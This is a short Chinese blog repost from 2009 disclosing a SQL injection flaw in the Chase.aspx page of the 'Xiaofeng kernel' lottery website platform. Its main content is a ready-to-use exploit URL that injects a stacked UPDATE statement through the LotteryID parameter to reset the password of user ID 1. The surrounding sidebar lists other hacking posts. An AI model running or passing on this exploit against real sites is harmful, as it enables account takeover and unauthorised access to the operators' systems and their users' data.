=波波日志 > 黑客技术 > 晓风内核 彩票整站平台程序漏洞公布=
[转]晓风内核 彩票整站平台程序漏洞公布
|
该漏洞位于 Room目录下的Chase.aspx文件，由于LotteryID 没有进行安全检查，导致注入漏洞发生。EXP如下 Room/Chase.aspx?LotteryID=28 ; update T_Users Set Password='xx' where ID=1 |
http://hi.baidu.com/isbx/blog/item/bee2d31b7ab4bdddac6e7521.html
类别：黑客技术 作者：转载 日期：2009-08-31 【评论：0】
暂时没有评论！
发表留言
百度赞助
同类热门博文
- ·翻墙软件组合:FireF..
- ·狗日的us-hacker@ho..
- ·JS/Exploit-DialogA..
- ·QQ输入状态漏洞，让..
- ·关于adodb.stream的..
- ·DDoS攻击使用的常用..
- ·如何在 Internet Ex..
- ·饶过Xplog70.dll玩入..
博格Tag
- flash/flex/fcs/AIR(752)
- Asp.Net/C#/WCF(598)
- 操作系统及应用软件(376)
- JavaScript/Ajax(330)
- SQL及数据库(134)
- 黑客技术(115)
- Asp/VBScript(111)
- HTML/WML/CSS兼容/XML(102)
- PHP/apache/Perl(96)
- 网站排名及优化(92)
- 其他(75)
- showbo日志(66)
- lucene.net/分词技术(33)
- 计算机网络(26)
- 机械重工(26)
- C#设计模式(25)
- Google Maps开发(17)
- 日语学习(15)
- Canvas/VML/SVG(13)
- linux(11)
- 游戏开发(8)
- 正则表达式(5)
- Jsp/Java(4)
最新博文
- ·ad.zom123.net弹窗木..
- ·如何截获浏览器密码..
- ·破解查看IE浏览器保..
- ·Ewebeditor漏洞整理..
- ·获取最新穿墙软件的..
- ·翻墙工具下载地址
- ·图解软件破解详细步..
- ·软件破解步骤
随机博文